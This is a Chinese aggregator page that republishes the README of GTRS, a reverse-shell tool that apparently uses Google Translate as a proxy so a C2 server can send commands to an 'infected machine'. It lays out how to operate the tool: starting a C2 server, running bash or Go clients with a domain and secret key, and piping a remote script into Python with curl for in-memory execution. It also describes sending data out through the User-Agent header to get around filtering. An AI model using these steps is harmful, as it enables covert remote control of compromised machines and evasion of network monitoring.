• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

mthbernardes/GTRS: GTRS - Google Translator Reverse Shell

原作者: [db:作者] 来自: 网络 收藏 邀请

开源软件名称(OpenSource Name):

mthbernardes/GTRS

开源软件地址(OpenSource Url):

https://github.com/mthbernardes/GTRS

开源编程语言(OpenSource Language):

Go 41.2%

开源软件介绍(OpenSource Introduction):

GTRS - Google Translator Reverse Shell

This tools uses Google Translator as a proxy to send arbitrary commands to an infected machine.

[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2] 

Environment Configuration

First you need a VPS and a domain, for the domain you can get a free one on Freenom.

Server

Start the server.py on your VPS

python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062

It will provide you secret key which will be used on the client.

Client bash

Run the client on a computer with access to Google Translator, providing domain and the secret key generated by the server.

bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Now you have an interactive shell using named pipe files, YES you can cd into directories.

Client Go

You first need to download the binary or compile it, then the process is equal of the bash client,

./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

With this client you have the ability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.

ELF in-memory execution (Linux Only)

After reading this blogpost, I made a simple adaption to execute the GTRS in memory, just edit the host and key in the script inmemory-linux.py, then host it on a server an curl it.

curl https://yourserver.ml/inmemory-linux.py | python

Or you can host the script using the youtube approach.

Poc

CODE_IS_CHEAP_SHOW_ME_THE_DEMO

Known issues

  • Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like .bashrc. Problem fixed using User-Agent header to sent data.
  • The client script works on Mac an Linux, but on Linux you need to install the xmllint which is on libxml2-utils `Problem fixed, now the client is write also in go.
  • It's not a problem, but I just don't know if there's a rate limit on Google Translator



鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap